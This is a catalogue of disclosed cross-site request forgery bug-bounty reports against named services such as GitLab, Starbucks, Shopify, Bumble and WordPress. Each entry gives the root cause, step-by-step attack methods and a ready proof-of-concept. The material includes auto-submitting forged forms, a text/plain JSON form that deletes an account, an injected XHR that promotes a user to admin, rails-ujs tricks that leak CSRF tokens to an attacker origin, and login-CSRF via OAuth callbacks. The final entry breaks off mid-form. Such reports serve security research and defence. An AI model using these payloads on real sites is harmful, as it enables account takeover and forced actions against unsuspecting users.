{"email":"attacker@example.com","name":"csrf poc","webUrl":"csrf poc"}
// delivered via Flash cross-domain request + 307 redirect (method/body preserved)
Insight — 'Requires application/json' is NOT a CSRF defense. HTML forms can't set it, but Flash (with a permissive crossdomain.xml) and 307 redirects can forge arbitrary Content-Type while preserving method and body. Also try PATCH/PUT via method override (X-HTTP-Method-Override / _method) as in #766533. Always demand a real token or strict Origin check.
Real-world example
Stored HTML that survives sanitization + jquery-ujs gadget -> forced state-changing requests
◆ Medium
Specimen #970869 · gitlab · awarded · 14 votes · resolved
Program gitlabSurface webChain stored HTML injection -> jquery-ujs gadget -> authentiTag graphql
Root cause
GitLab renders Jupyter notebook HTML through a sanitizer that strips tags/attrs but keeps data-* attributes. With jquery-ujs present, data-method/data-url/data-params/data-remote on a rendered element issue an authenticated GET/POST/PUT/DELETE when the victim interacts - a CSRF-token-carrying request forgery via a JS-library gadget.
Method
- Find a render path that keeps data-* attributes (notebook/markdown/rich HTML)
- Confirm jquery-ujs (rails-ujs) is loaded on the target
- Embed an element with data-remote/data-method/data-url/data-params that performs a privileged action
- Victim clicks the rendered control -> ujs fires the authenticated request (with valid CSRF token)
text/html output cell:
<select data-method="put" data-params="message=p0wn3d" data-remote="true" data-url="/api/v4/user/status"><option>x</option></select>
Insight — Sanitizers that only allowlist tags but pass data-* are dangerous whenever rails/jquery-ujs (or similar attribute-driven libs) is loaded - the gadget converts benign stored HTML into full CSRF that also defeats CSRF tokens (ujs adds them). Audit rich-render features for retained data-* + ujs.
Real-world example
CSRF as delivery vector for POST-only reflected/stored injection
◆ Medium
Specimen #1014593 · deptofdefense · none · 14 votes · resolved
Program deptofdefenseSurface webChain CSRF -> forced POST -> reflected/stored HTML injectionTag account-takeover
Root cause
A search parameter reflects unsanitized markup on a POST-only page; because the injection only triggers via POST, CSRF is used to force the victim's browser to submit the malicious POST and render the injected content.
Method
- Find a POST parameter that reflects/stores unsanitized HTML (< " ' pass the filter).
- Build an auto-submitting CSRF form carrying the HTML/XSS payload in that parameter.
- Victim visiting the attacker page is force-navigated to the injected result page (persists on refresh in same tab).
<form action="https://TARGET/search.php" method="POST">
<input type="hidden" name="keyword" value="<a href=https://evil.example>Click here to win 1000$!</a>">
<input type="submit">
</form>
<script>document.forms[0].submit()</script>
Insight — POST-only injection (HTML injection or XSS) is not self-delivering; wrap it in a CSRF auto-submit form so a single victim click/visit renders it. This upgrades a 'reflected only via POST' finding into a real client-side attack. XSS payload variant seen in #1118521 (answer=A"><img src=x onerror=prompt``>).
Real-world example
Auto-submitting POST-form CSRF (cart/state mutation)
◆ Medium
Specimen #177472 · starbucks · awarded · 13 votes · resolved
Program starbucksSurface webTag account-takeover
Root cause
A state-changing POST endpoint (add item to cart) has no anti-CSRF token or Origin check, so a hidden auto-submitting form performs the action in the victim's authenticated session.
Method
- Capture the legitimate POST request and its body parameters.
- Build a hidden HTML form with those params and a document.forms[0].submit() auto-trigger.
- Victim visiting the page silently performs the action (item added to cart; can be repeated / multi-valued).
<form action="https://www.starbucks.com/shop/updatecart" method="POST">
<input type="hidden" name="card_id" value="db126c2c-277c-4208-9ade-e3014ba16722">
<input type="hidden" name="card_quantity" value="1">
<input type="hidden" name="defined_amount" value="25">
<input type="hidden" name="defined_currency" value="USD">
</form>
<script>document.forms[0].submit()</script>
Insight — The baseline CSRF test: replay the exact POST body from a cross-origin auto-submitting form with no token. Array-style params (tweet_ids[]) let one request batch many objects (seen in #100820). Any missing token + no strict Origin/SameSite check = exploitable.
Real-world example
Inconsistent CSRF protection: find the one endpoint accepting form bodies
◆ Medium
Specimen #753386 · stripo · none · 12 votes · resolved
Program stripoSurface apiTag cors
Root cause
Most endpoints are CSRF-safe because they require Content-Type: application/json (unsettable by HTML forms), but one endpoint (resendEmailConfirmation) accepts a simple form POST, leaving it exploitable.
Method
- Map which endpoints enforce application/json vs which accept application/x-www-form-urlencoded / empty bodies.
- Target the odd-one-out that accepts a simple request.
- Deliver a bare auto-submitting form (even with empty body) to trigger the action cross-site.
<body onload="document.form.submit()">
<form name="form" method="POST" action="https://my.stripo.email/cabinet/stripeapi/v1/resendEmailConfirmation"></form>
</body>
Insight — When an app relies on 'JSON Content-Type required' as its CSRF wall, hunt for the endpoint that breaks the rule and accepts form-encoded/empty POSTs. Inconsistent enforcement across an API is the bug. Complements the Flash/307 forcing technique (#766205) when no such endpoint exists.
Real-world example
Admin CSRF on package-install endpoint (CSRF-to-RCE surface)
◆ Medium
Specimen #243094 · paragonie · awarded · 11 votes · resolved
Program paragonieSurface webChain admin CSRF -> package install -> potential RCETag account-takeover
Root cause
Admin controller actions (Airship Skyport install/extension endpoints) lack CSRF protection, so a forged POST from an authenticated admin can install packages, a class of action that can escalate to RCE.
Method
- Identify unprotected admin state-changing endpoints (here /bridge/admin/skyport/install and neighbors).
- Craft a CSRF form supplying the package/supplier/type params.
- An authenticated admin visiting the page triggers a package install; package-install primitives are potential RCE.
<form action="https://TARGET/bridge/admin/skyport/install" method="POST">
<input type="hidden" name="package" value="p">
<input type="hidden" name="supplier" value="s">
<input type="hidden" name="type" value="Cabin">
<input type="submit">
</form>
Insight — Rank CSRF impact by the action: admin package/plugin/theme install, config change, or user-add endpoints are the high-value targets because they can chain to RCE or admin takeover. Audit whole admin controllers (all methods) rather than a single endpoint.
Real-world example
CSRF on JSON API by bypassing application/json Content-Type enforcement
◆ Medium
Specimen #856981 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface apiTag account-takeover
Root cause
The endpoint's only CSRF defense is that it requires Content-Type: application/json (not settable by a simple HTML form). That guard is bypassable, so a forged request still mutates data.
Method
- Confirm the state-changing endpoint only accepts Content-Type: application/json and has no token.
- Generate a CSRF PoC (Burp) that posts the JSON body.
- Force the JSON Content-Type via a Flash SWF capable of cross-domain requests fronted by a 307 redirector (307 preserves method+body), or otherwise smuggle the header.
- Victim visits -> company/account info updated.
Flash SWF sending a cross-domain POST + 307 redirect to force `Content-Type: application/json` on the forged request. Ref: forging-content-type-header-with-flash technique.
Insight — 'We require application/json' is NOT CSRF protection. Test Content-Type gating with: text/plain form encoding, Flash+307, or fetch() with a simple content-type. If the body still parses, it's CSRF-able. Treat header-only gating as a finding.
Real-world example
Login CSRF via auto-login password-reset link
◆ Medium
Specimen #223339 · weblate · none · 9 votes · resolved
Program weblateSurface webTag account-takeover
Root cause
Clicking a password-reset link immediately authenticates the browser into that account (before any new password is set). An attacker generates a reset link for their own account and mails it to the victim; the victim silently becomes logged in as the attacker.
Method
- Create an attacker account and request a password reset for it.
- Send the attacker's reset link to the victim.
- Victim clicks; even without entering a password they are now logged into the attacker's account (visible via profile menu).
- Victim's subsequent activity is captured under the attacker's account.
Deliver attacker's own reset URL: https://TARGET/accounts/reset/<attacker-token> (clicking auto-authenticates the clicker as attacker)
Insight — Any flow that auto-logs-in on link click (reset, magic-link, activation) is a login-CSRF vector. Check whether the reset/activation link establishes a session before password entry; if so, an attacker can force a victim into an attacker-controlled session to harvest their activity/inputs.
Real-world example
Overly-permissive crossdomain.xml + cross-site flashing -> OAuth bypass
◆ Medium
Specimen #176308 · automattic · awarded · 8 votes · resolved
Program automatticSurface webChain permissive crossdomain.xml -> cross-site flashing -> rTag oauthTag cors
Root cause
public-api.wordpress.com serves a crossdomain.xml trusting *.yahoo.com and *.yimg.com. Those domains host attacker-injectable Flash (cross-site flashing), so a malicious SWF can make credentialed cross-domain requests to the API and READ responses, defeating the OAuth authorization flow without user interaction.
Method
- Find a crossdomain.xml allowing broad/third-party origins (*.yahoo.com, *.yimg.com).
- Host/inject a Flash SWF on one of those trusted domains (cross-site flashing).
- From the SWF, issue credentialed requests to the target API and read the response bodies.
- Walk the OAuth authorize flow programmatically to grant an attacker app full access to the logged-in victim's account.
Malicious SWF on *.yimg.com performing URLLoader GET/POST to https://public-api.wordpress.com/oauth2/... and reading the response (allowed by the permissive crossdomain.xml).
Insight — Always fetch /crossdomain.xml and /clientaccesspolicy.xml. A policy allowing wildcard or third-party domains (especially ad/CDN domains susceptible to cross-site flashing) is a read-capable cross-origin channel - far worse than form CSRF because responses are readable. Chain it against OAuth authorize endpoints for silent account access.
Real-world example
Static CSRF token (fkey) reusable across sessions -> CSRF ATO
◆ Medium
Specimen #308394 · khanacademy · none · 8 votes · resolved
Program khanacademySurface webChain static token -> CSRF add attacker email -> password reTag account-takeover
Root cause
The anti-CSRF token (fkey) is fixed per browser and not regenerated on login/logout, so a token captured by an attacker (shared machine, or via XSS) remains valid for the victim's later session, defeating CSRF protection on state-changing actions like email change.
Method
- Log in, copy the fkey value, log out
- Victim logs in on the same browser; the fkey is unchanged
- Submit a forged POST /settings/linkemail with the captured fkey to link the attacker's email -> ATO
<form action="https://TARGET/settings/linkemail" method="POST">
<input type=hidden name=fkey value="CAPTURED_TOKEN">
<input type=hidden name=email value="attacker@evil">
</form><script>document.forms[0].submit()</script>
Insight — Test whether the CSRF token rotates on login/logout and differs per user/session. A token that is constant per-browser (or globally) is exploitable given any leak (shared host, XSS, referer) and turns email/password change into account takeover.
Real-world example
Rails per-form CSRF token forgery via reversible authenticity_token (CVE-2020-8166)
◆ Medium
Specimen #732415 · rails · awarded · 7 votes · resolved
Program railsSurface webChain XSS/token read anywhere -> forge per-form tokens -> CS
Root cause
Rails' global authenticity_token is Base64(one_time_pad | (one_time_pad XOR session[:csrf_token])). Because the pad is the first half of the token itself, session[:csrf_token] is recoverable, letting an attacker who holds any global token forge per_form_csrf_tokens (HMAC-SHA256 over path#method) for arbitrary routes.
Method
- Grab the global authenticity_token from any page's <meta> tag (no HttpOnly protection)
- Split it, recover one_time_pad and XOR out session[:csrf_token]
- Compute HMAC(session_csrf, "/target/route#method") to mint a valid per-form token for a route with no form
- URL-encode and submit it as authenticity_token in the forged request
# recover session csrf and forge per-form token
otp = token[:len/2]; masked = token[len/2:]
session_csrf = xor(otp, masked)
forged = HMAC_SHA256(session_csrf, "/articles/2#patch") # -> base64, url-encode
Insight — Per-form CSRF tokens are only as strong as the masking of the global token. If an app exposes the global token in HTML/meta (it always does) and derivation is reversible, an XSS or token read on ANY page defeats per-form protection everywhere (password change, user creation, deletes). Fix HMACs the raw token before masking so the pad can't reveal it.
Real-world example
CSRF token leaked over plaintext HTTP -> MiTM captures session-wide token
◆ Medium
Specimen #15412 · coinbase · 1000 · 6 votes · resolved
Program coinbaseSurface webChain MiTM on HTTP form -> token capture -> CSRF on any endp
Root cause
One low-value form (newsletter subscribe) submits over HTTP with the CSRF token in the POST body; since the token is valid session-wide, a network attacker who sniffs it can forge any protected request for that user.
Method
- Authenticate, trigger the HTTP form (subscribe) and observe the CSRF token sent in cleartext
- A MiTM on the network captures the token
- Attacker reuses the captured token in a CSRF form against any protected, state-changing endpoint
POST http://coinbase.com/... (HTTP)
...&csrf_token=LEAKED_TOKEN_IN_CLEARTEXT
Insight — A CSRF token is a secret; ANY single endpoint that emits or accepts it over HTTP (or leaks it via Referer, logs, third-party analytics) compromises it for the whole session when tokens are global. Audit every mixed-content/HTTP request and every cross-origin request for token leakage, not just the sensitive forms.
Real-world example
CSRF protection bypass via cookie injection (Google Analytics __utmz + comma-cookie parsing)
◆ Medium
Specimen #14883 · x · none · 6 votes · resolved
Program xSurface web
Root cause
A double-submit CSRF cookie can be overwritten by the attacker: Google Analytics reflects the attacker-controlled Referer path into the __utmz cookie, browsers allow commas/spaces in cookie values and let cookie domain/path be rewritten to the parent domain, and many servers split cookies on commas - so the attacker smuggles a chosen csrf_token cookie value the app then trusts.
Method
- Send victim to attacker URL whose path embeds a fake cookie fragment (e.g. ,m5_csrf_tkn=x,) - GA writes it into __utmz
- Use repeated path=/ and domain=.target.com attributes to rewrite the cookie onto the parent domain/subdomain that lacks it
- The target server, splitting __utmz on the comma, reads csrf_token=x
- Submit the state-changing form using the matching predictable token x
http://attacker/r/,m5_csrf_tkn=x,;domain=.twitter.com;path=/;path=/;path=/;?r=http://translate.twitter.com/
# server then parses: __utmz=...,m5_csrf_tkn=x, => csrf_token == x
Insight — Double-submit-cookie CSRF defenses are broken by cookie injection. Look for: (1) any reflection of user input into a cookie (analytics __utmz via Referer, language/tracking cookies), (2) subdomains without the token cookie set yet, (3) servers that accept comma-delimited cookies. Then set the attacker's own known token on both sides of the double-submit check.
Real-world example
OAuth callback missing state -> forced linking of attacker's third-party account
◆ Medium
Specimen #111218 · shopify · awarded · 6 votes · resolved
Program shopifySurface webChain Forced OAuth link -> login-via-linked-provider -> accoTag oauthTag account-takeover
Root cause
The OAuth 'connect account' callback accepts an authorization code with no state/CSRF binding, so an attacker replays their own code in the victim's session and links the ATTACKER's third-party account (Pinterest/Facebook) to the victim - or, depending on flow, the victim's account to the attacker.
Method
- Attacker begins linking their own third-party account and captures the callback code
- Attacker delivers the callback URL to the logged-in victim
- Victim's browser completes the link; attacker's social account is now bound to the victim's profile (enables monitoring/ATO)
<img src="https://TARGET/auth/pinterest/callback?code=ATTACKER_OAUTH_CODE">
Insight — Every 'connect/link social account' callback must carry an unguessable state tied to the user session. Missing state -> forced account linking, which is either surveillance (attacker's account on victim) or takeover (victim's account on attacker, then log in via that social login). Confirmed in the corpus against Shopify (Pinterest #111218), Weblate (Facebook #225100), and Rockstar Social Club (Facebook -> ATO #653254).
Real-world example
CSRF-token exfiltration via protocol-relative URL in client-side path building
◆ Medium
Specimen #221432 · gitlab · none · 6 votes · resolved
Program gitlabSurface webChain Token leak to attacker origin -> full CSRF on protected e
Root cause
Front-end code constructs request URLs from location.pathname; a crafted repo/namespace path beginning with // (//attacker.com/repo/) turns the 'relative' URL absolute, so the browser sends an authenticated request - including the anti-CSRF authenticity_token - to an attacker-controlled origin.
Method
- Register a namespace/path that renders as //attacker.com/... in the app URL
- Lure victim to that page; the JS builds a request to //attacker.com/... from location.pathname
- Attacker server receives the request carrying the victim's authenticity_token (and cookies are moot - the token is the prize)
- Attacker uses the leaked token to mount state-changing CSRF
https://gitlab.com//attacker.com/repo/-/environments/folders/x
// JS: fetch(location.pathname + '.json') -> //attacker.com/... (absolute)
Insight — When SPA code derives fetch URLs from location.pathname/href, a leading // (protocol-relative) or /../ turns them cross-origin and leaks the CSRF token/response to the attacker. Audit client code for url = location.pathname + ... and for missing same-origin checks in $.ajax/fetch interceptors.
Real-world example
Application-wide missing CSRF protection (admin action forgery)
◆ Medium
Specimen #800356 · nodejs-ecosystem · none · 6 votes · resolved
Program nodejs-ecosystemSurface webChain CSRF create-admin/discount -> privilege/financial abuse oTag supply-chain
Root cause
The express-cart Node app ships with no CSRF tokens on any state-changing route, so every admin action (create discount code, product, user, order) is forgeable against a logged-in admin.
Method
- Confirm no CSRF token appears on any admin form/request
- Craft an auto-submitting form for a sensitive admin action (create discount code / create admin user)
- Trick an authenticated admin into loading it
<form action="http://TARGET/admin/settings/discount/create" method="POST">
<input name="code" value="CSRF-CODE"><input name="type" value="percent"><input name="value" value="30">
</form>
<script>document.forms[0].submit()</script>
Insight — For self-hosted apps / npm modules / admin panels, first check whether CSRF tokens exist AT ALL - many small frameworks omit them globally, making the highest-privilege actions (create-admin, create-discount) one-click forgeable. A single create-admin CSRF is effectively RCE-adjacent takeover of the store.
Real-world example
CSRF file attachment on Atlassian Confluence doattachfile.action
◆ Medium
Specimen #867473 · lab45 · none · 6 votes · resolved
Program lab45Surface webTag file-upload
Root cause
Confluence's doattachfile.action endpoint lacks CSRF protection, so a logged-in user can be forced to upload attacker-chosen files to a wiki page.
Method
- Target the wiki attach endpoint with a known pageId
- Host a multipart auto-submitting form uploading a file to it
- Authenticated victim opens the page; the attachment is created under their identity
POST https://apps.topcoder.com/wiki/pages/doattachfile.action?pageId=PAGEID
(multipart form-data upload, no CSRF token)
Insight — Known third-party components have known CSRF-weak endpoints. Confluence doattachfile.action is a recurring one - fingerprint the tech (Confluence/Jira/SharePoint) and test its documented action endpoints for token enforcement rather than only the app's own forms.
Real-world example
JSON CSRF (delete account) via content-type + trailing-padding trick
◆ Medium
Specimen #192131 · bumble · 280 · 5 votes · resolved
Program bumbleSurface web
Root cause
A JSON API endpoint (delete account / erase contacts on m.badoo.com) relies only on cookies and does not enforce a CSRF token; an HTML form with enctype text/plain can emit body text the server parses as JSON, with a dummy trailing field absorbing the '=' the form appends.
Method
- Build an HTML form (enctype=text/plain) whose single field name/value reconstructs the JSON body
- Add a padding pair so the '=' the browser appends lands inside a harmless key: "ignore_me":"...value='test"
- Victim with an active session opens the page and submits -> account deleted / contacts erased
<form action="https://m.badoo.com/delete" method="POST" enctype="text/plain">
<input name='{"action":"delete","ignore_me":"' value='test"}'>
</form>
<script>document.forms[0].submit()</script>
Insight — 'JSON-only' endpoints are not automatically CSRF-safe. If the server doesn't require Content-Type: application/json (or a token/custom header), a text/plain form can forge the JSON body. The name='{...' / value='...}' split with a throwaway key neutralizes the form's inserted '=' - a standard JSON-CSRF construction worth trying on every cookie-authenticated JSON API.
Real-world example
WordPress/BuddyPress admin action missing _wpnonce (delete profile field)
◆ Medium
Specimen #836187 · wordpress · awarded · 5 votes · resolved
Program wordpressSurface web
Root cause
A BuddyPress admin action (mode=delete_field) runs off a plain GET/POST to wp-admin without the required _wpnonce check, so a forged request deletes arbitrary profile fields when an admin is logged in.
Method
- Build an auto-submitting form to wp-admin/users.php with page=bp-profile-setup&mode=delete_field&field_id=N
- Trick a logged-in admin into loading it
- The targeted profile field is deleted
<form action="https://TARGET/wp-admin/users.php" method="GET">
<input name="page" value="bp-profile-setup">
<input name="mode" value="delete_field">
<input name="field_id" value="1">
</form>
<script>document.forms[0].submit()</script>
Insight — In WordPress, CSRF protection = _wpnonce + check_admin_referer(). Any admin-ajax/wp-admin action (in core or a plugin like BuddyPress) that omits the nonce is CSRFable. Grep plugin handlers for state changes lacking check_admin_referer/wp_verify_nonce; the fix here literally adds a nonce (see attached patch diff).
Real-world example
CSRF completes third-party OAuth/payment integration
◆ Medium
Specimen #99321 · shopify · awarded · 4 votes · resolved
Program shopifySurface webTag oauth
Root cause
The OAuth-completion / integration-toggle endpoint (activate PayPal Express) is reachable by a tokenless GET, so an attacker can force-enable or alter a third-party integration on the victim's account.
Method
- Locate the integration completion endpoint (admin/payments/complete_paypal_oauth/ID)
- Fire it via GET from an attacker page while admin is logged in
- Integration is activated for the victim
<img src="https://STORE.myshopify.com/admin/payments/complete_paypal_oauth/41">
Insight — OAuth 'connect/complete' and social-account link/unlink endpoints are prime CSRF targets (see VK unlink-Twitter #71337). Attacker goal is to bind their own third-party account, or flip an integration, on the victim's tenant. Note the guard here was a per-account request-token generated only after first manual attempt.
Real-world example
Classic missing-CSRF-token on state-changing POST form
◆ Medium
Specimen #868561 · lab45 · none · 4 votes · resolved
Program lab45Surface web
Root cause
State-changing POST endpoints (profile edit, preferences, add album/bookmark, signup, settings) ship with no CSRF token or referer check, so any auto-submitting cross-site form performs the action as the victim.
Method
- Capture the state-changing POST and confirm no token/origin/referer check
- Rebuild it as an HTML form on an attacker page
- Auto-submit with JS so no click is needed
<form action="https://TARGET/endpoint" method="POST">
<input type="hidden" name="param" value="attacker_value">
</form>
<script>document.forms[0].submit()</script>
Insight — The bread-and-butter CSRF: no anti-CSRF token on a POST that changes server state. Impact scales with the action (signup/support-ticket = low; profile/settings = medium). This is the canonical primitive; the many programs here differ only in endpoint.
Real-world example
Login CSRF via unvalidated OAuth callback state
◆ Medium
Specimen #233379 · mixmax · none · 4 votes · resolved
Program mixmaxSurface webChain login CSRF -> victim logged into attacker account -> aTag oauthTag account-takeover
Root cause
The OAuth callback accepts a code+state pair without binding/validating the state to the victim's session, so an attacker can force the victim's browser to complete the attacker's OAuth login and silently log the victim into the attacker's account.
Method
- Attacker starts Google OAuth with the target and approves the app
- Attacker intercepts and drops the final redirect so the code/token is not consumed
- Attacker lures the victim to the callback URL carrying the attacker's code+state
- Victim's browser completes login and is now authenticated as the attacker; victim's activity is monitored / later linked
https://app.mixmax.com/_oauth/google/callback?state={ATTACKER_STATE}&code={ATTACKER_CODE}
Insight — On any SSO/OAuth callback, test whether the state parameter is actually validated against the requesting session. If a stolen/attacker code+state can be replayed in the victim's browser, you have login CSRF -> session fixation / silent account linking / activity monitoring.
Real-world example
rails-ujs leaks CSRF token cross-origin (leading-space URL) CVE-2015-1840
◆ Medium
Specimen #49935 · rails · awarded · 3 votes · resolved
Program railsSurface webChain HTML injection under CSP -> rails-ujs token exfiltration Tag cors
Root cause
jquery-ujs/jquery-rails attaches the CSRF token to data-remote requests and relies on a weak same-origin regex; a URL with a leading space (or data-cross-domain) is treated as same-origin, so the token is sent to an attacker domain.
Method
- Find a sink where attacker controls an anchor href or form action that triggers a data-remote/data-method action
- Set the URL to ' https://attacker.com' (leading space) so jQuery's origin regex fails open
- On attacker.com return permissive CORS headers; the POST arrives carrying the victim's CSRF token
<a href=" https://attacker.com" data-remote data-method="post">x</a>
<!-- or -->
<a href="https://attacker.com" data-remote data-method="post" data-cross-domain="false">x</a>
Insight — When XSS is blocked by CSP but you can inject HTML or control an href/action, abuse rails-ujs to exfiltrate the CSRF token cross-origin: a single leading space defeats the same-origin check. General lesson: framework 'unobtrusive JS' helpers are token-leak sinks; audit any place user input reaches an anchor href or form action.
Real-world example
CSRF account/subscription cancel with ignored id in path (IDOR)
◆ Medium
Specimen #131108 · automattic · awarded · 3 votes · resolved
Program automatticSurface web
Root cause
Akismet account/subscription actions have no CSRF protection and the numeric id in the path is ignored (the session's own account is acted on), so a single forged request cancels the victim's account/subscription or adds sites.
Method
- Find state-changing endpoints with an id in the path (/api/account/1/cancel)
- Confirm the id is ignored and the session's account is used
- Fire via CSRF to cancel/modify the victim's subscription
<form action="https://akismet.com/api/account/1/cancel" method="POST"></form>
<script>document.forms[0].submit()</script>
<!-- also: POST /api/subscription/1/cancel , POST /api/activation/create subscriptionId=1&site_url=foo.bar -->
Insight — When a path id looks like it scopes the action but is actually ignored (server derives the target from the session), CSRF needs no id enumeration at all. Test by sending a bogus id; if it still hits your own account, it is CSRF-exploitable against any user.
Real-world example
Classic missing/unvalidated anti-CSRF token on state-changing POST -> account takeover
◆ Medium
Specimen #7870 · localize · none · 2 votes · resolved
Program localizeSurface webChain CSRF on settings/email -> attacker-controlled email ->Tag account-takeover
Root cause
State-changing POST endpoints either carry no anti-CSRF token or ship a token field the server never validates, so an auto-submitting cross-origin form performs the action in the victim's session. When the affected action is a profile/email change, it escalates to account takeover via the email-verification path.
Method
- Enumerate authenticated state-changing endpoints (settings update, email change, group add/delete, invitation accept, change password, report/flag).
- Capture a legit request; strip or blank the CSRF token field and replay -> if it still succeeds, server-side validation is missing.
- Host an auto-submitting HTML form targeting that endpoint and lure the logged-in victim.
- For settings/email endpoints, change the victim's email to attacker-controlled, then complete verification to take over the account.
<html><body>
<form action="http://www.localize.io/pages/settings" method="POST">
<input type="hidden" name="settings[realName]" value="attacker">
<input type="hidden" name="settings[email]" value="attacker@evil.tld">
</form>
<script>document.forms[0].submit()</script>
</body></html>
Insight — The highest-yield check on any target: replay a state-changing POST with the CSRF token removed/blanked/reused. A blank hidden CSRFToken field that still works (as on Localize) proves the token is decorative. Prioritize email/password/role endpoints because they chain to ATO. Also diff which actions are protected vs not (Coinbase protected delete but not set-as-primary) -- the unprotected sibling action is the bug.
Real-world example
CSRF on group-membership endpoints -> privilege escalation, delivered via stored HTML
◆ Medium
Specimen #64184 · concretecms · none · 1 votes · resolved
Program concretecmsSurface webChain stored HTML injection -> CSRF add_group when admin views Tag account-takeover
Root cause
add_group / remove_group endpoints have no CSRF protection, so a forged POST can change any user's group membership. Because a low-privileged user can inject HTML/JS into a page's 'Extra Header Content' SEO field, the CSRF can be delivered same-site to auto-promote an attacker (or demote others) when an admin views the page.
Method
- Confirm add_group/remove_group accept a cross-origin POST with no token (params gID=<group>, uID=<user>).
- Inject an XHR into a page field the app renders raw (Extra Header Content / SEO header).
- When a logged-in admin loads the page, the XHR fires POST add_group promoting the attacker's uID into an admin group.
- Attacker now holds elevated privileges (privilege escalation via CSRF).
<script>
var x=new XMLHttpRequest();
x.open('POST','http://TARGET/index.php/ccm/system/user/add_group');
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
x.send('gID=3&uID=8'); // uID = attacker to promote, gID = admin group
</script>
Insight — CSRF becomes privilege escalation when the vulnerable action is group/role assignment. It becomes reliable when the app lets you store the CSRF payload in a same-origin field (SEO/header content), turning drive-by CSRF into a stored, admin-triggered attack. Hunt for admin-only add_group/role endpoints plus any raw-HTML content field.
Real-world example
CSRF content creation abusing disclosed internal ID + stored-XSS payload
◆ Medium
Specimen #133847 · concretecms · none · 1 votes · resolved
Program concretecmsSurface webChain CCM_CID disclosure -> CSRF create page under chosen parenTag account-takeover
Root cause
A plugin (ProBlog addBlog) does not validate the anti-CSRF token and does not verify the parent cID, so a forged POST can create an arbitrary page anywhere in the site tree; the page's body accepts a JavaScript payload, and the app discloses the target CCM_CID in inline <script> tags, letting the attacker aim the injected page precisely.
Method
- Read the target's inline <script> to recover the disclosed CCM_CID (parent section id).
- Craft a CSRF form to the addBlog tool with an attacker-chosen parentID and a blogBody containing JS.
- Lure a logged-in victim (styled as a link/image) to submit it.
- A new page is created under the chosen parent with a stored-XSS payload for further data harvesting / payload delivery.
<form action="https://TARGET/index.php/tools/.../addBlog" method="POST">
<input type=hidden name=parentID value="<disclosed_CCM_CID>">
<input type=hidden name=blogBody value="<script>/*payload*/</script>">
</form>
Insight — Two weak spots compound: a missing CSRF token on a create action, and an unvalidated parent/target id -- together they let an attacker place stored content anywhere. Inline framework IDs (CCM_CID and similar) leaked in page source are the targeting oracle. When you find CSRF on a create endpoint, check whether the body field is rendered raw (stored XSS) and whether object placement is attacker-chosen.
Real-world example
Origin-header CSRF defense bypassed by omitting the Origin header
◆ Medium
Specimen #1543234 · tiktok · USD 2500 · 79 votes · resolved
Program tiktokSurface api
Root cause
The API validates the Origin header to block cross-site requests, but accepts the request when no Origin header is present at all -> a request context that omits Origin bypasses the check.
Method
- Confirm the endpoint rejects a wrong Origin but accepts a request with the Origin header removed
- Deliver the request from a context that does not attach an Origin (or strip it) to forge the action
Insight — When CSRF defense is Origin/Referer allow-listing, always test the header being ABSENT, not just wrong. Many validators do `if (origin && origin not allowed) reject`, so a missing Origin passes. Use referrer-stripping contexts (meta referrer=no-referrer, some navigations, non-CORS requests) to drop it.
Real-world example
OIDC state CSRF defense defeated: error response leaks the expected state
◆ Medium
Specimen #1878381 · nextcloud · USD 500 · 77 votes · resolved
Program nextcloudSurface webTag oauth
Root cause
On OIDC callback, when the provided state does not match, the app returns a JSON error that includes the expected state value (debug leftover), so an attacker can read the correct state and satisfy the CSRF check.
Method
- Hit the OIDC callback with an arbitrary state to trigger the mismatch response
- Read the expected state echoed back in the JSON error
- Replay the callback with the leaked state to complete the CSRF/login flow
Insight — Any anti-CSRF/state mechanism is worthless if the mismatch/error path echoes the expected value. When testing OAuth/OIDC callbacks, send a bad state and read the error body/headers for the real token. The same class shows up wherever tokens leak into responses (JS files, error JSON).
Real-world example
Mobile deeplink performs state-change that the web enforces confirmation for
◆ Low
Specimen #583987 · x · USD 1540 · 224 votes · resolved
Program xSurface mobile-androidTag account-takeover
Root cause
Internal Android deeplinks declared in the manifest map directly to state-changing actions (follow) with no CSRF/confirmation, whereas the equivalent web flow shows a confirm dialog.
Method
- Read AndroidManifest for exported schemes/hosts (e.g. pscp://user, pscpd://user)
- Find that the web action /<user-id>/follow requires confirmation but the deeplink path does not
- Host an HTML page with a link to the deeplink; victim opening it in mobile Chrome triggers the action silently
<a href="pscp://user/<any user-id>/follow">CSRF DEMO</a>
Insight — Compare a mobile app's deeplink surface against the web app's protections: actions gated by a CSRF token/confirmation on the web are frequently exposed CSRF-free via custom-scheme deeplinks. Enumerate schemes from the manifest and map each to a state-changing endpoint.
Real-world example
Login CSRF via emailed confirmation link + password-reset auto-login
◆ Medium
Specimen #229528 · weblate · none · 11 votes · resolved
Program weblateSurface webChain registration confirmation auto-login (login CSRF) + passwordTag account-takeover
Root cause
Registration does not enforce setting a password, so the emailed confirmation link auto-logs whoever clicks it; an attacker forwards their own confirmation link to the victim (login CSRF), and the password-reset link similarly auto-logs without a password, letting the attacker rejoin the shared account.
Method
- Attacker registers an account; confirmation link is emailed to the attacker.
- Attacker forwards that confirmation link to the victim; clicking it logs the victim into the attacker's account.
- Attacker later triggers password reset on that same (attacker-owned) email and clicks the reset link, which also auto-logs in without a password.
- Both are now in the same account; attacker observes any data the victim entered.
Insight — Auto-login side effects of email flows (registration confirmation, password reset) are login-CSRF primitives when they authenticate the clicker without credentials. Enforce password entry at signup and require login (username+password) after clicking confirmation/reset links.
Real-world example
Confirmation/activation-link CSRF attaches attacker identity
◆ Medium
Specimen #223367 · weblate · none · 3 votes · resolved
Program weblateSurface webTag account-takeover
Root cause
An email activation/confirmation link performs a state change without binding to the requesting session, so if a logged-in victim opens the attacker's activation link it attaches the attacker's email as a secondary identity and changes the profile name.
Method
- Register a new account, obtain its activation/confirmation link
- Get the logged-in victim to open that link (email, redirect, img)
- Victim's account now has the attacker's email as a linked secondary identity and the attacker-chosen name
Insight — Email-verification/activation links are CSRF sinks when they aren't tied to the current session. Sending YOUR activation link to a logged-in victim can graft your identity onto their account (secondary email = future recovery/takeover vector).
Real-world example
Login CSRF: anti-CSRF token present but not validated
◆ Low
Specimen #834366 · security · USD 500 · 83 votes · resolved
Program securitySurface web
Root cause
The sign-in form ships an authenticity_token but the server does not actually verify it, so removing the token still authenticates -> attacker can log the victim into an attacker-controlled account (login CSRF).
Method
- Generate a CSRF PoC of the login POST, then delete the authenticity_token field
- Forward the request; login still succeeds
- Auto-submit against a victim so they are silently signed into the attacker's account
<form action="https://hackerone.com/users/sign_in" method="POST">
<input type="hidden" name="user[email]" value="attacker@evil"/>
